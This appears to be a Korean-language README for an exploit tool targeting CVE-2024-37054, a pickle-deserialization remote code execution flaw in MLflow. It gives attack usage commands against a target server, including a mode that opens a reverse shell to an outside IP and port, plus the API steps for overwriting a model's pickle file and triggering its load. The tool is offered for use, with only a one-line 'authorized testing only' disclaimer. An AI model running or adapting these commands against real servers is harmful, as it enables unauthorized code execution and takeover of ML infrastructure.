
CVE-2024-37054 익스플로잇 및 문서
심각도: Critical
영향 대상: MLflow 0.9.0 – 2.14.1
유형: Python pickle 역직렬화를 통한 임의 코드 실행
mlflow.pyfunc.load_model()은 아티팩트 저장소에서 python_model.pkl을 아무런 검증 없이 역직렬화합니다. MLflow 아티팩트 REST API에 접근할 수 있는 공격자는 해당 파일을 악성 pickle로 덮어쓸 수 있으며, 모델이 다음에 로드될 때 임의의 OS 명령이 실행됩니다.
pip install requests cloudpickle
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
/api/2.0/mlflow/registered-models/search를 쿼리하여 모델과 해당 run_id / experiment_id를 찾습니다/api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl에 PUT합니다mlflow.pyfunc.load_model()을 호출하는 모든 코드 경로는 페이로드를 역직렬화(unpickle)하여 명령을 실행합니다트리거 단계에서는 모델을 로드하는 애플리케이션 엔드포인트가 필요합니다. 알려진 엔드포인트가 없으면 --no-trigger를 사용하거나(또는 --trigger-url 생략) 가능한 모든 수단을 통해 모델 로드를 트리거하십시오.
승인된 침투 테스트 및 교육 목적으로만 사용하십시오.
| Flag | 설명 |
|---|
--mlflow URL | MLflow 추적 서버 기본 URL (필수) |
--model NAME | 등록된 모델 이름 — 생략 시 첫 번째 모델 자동 선택 |
--version N | 모델 버전 — 기본값은 최신 버전 |
--user / --pass | MLflow용 HTTP Basic Auth 자격 증명 |
--run-id / --exp-id | 알려진 ID로 모델 검색 우회 |
--trigger-url URL | load_model()을 호출하는 앱 엔드포인트 — 생략하면 업로드만 수행 |
--session COOKIE | 트리거 요청 시 전송되는 세션 쿠키 |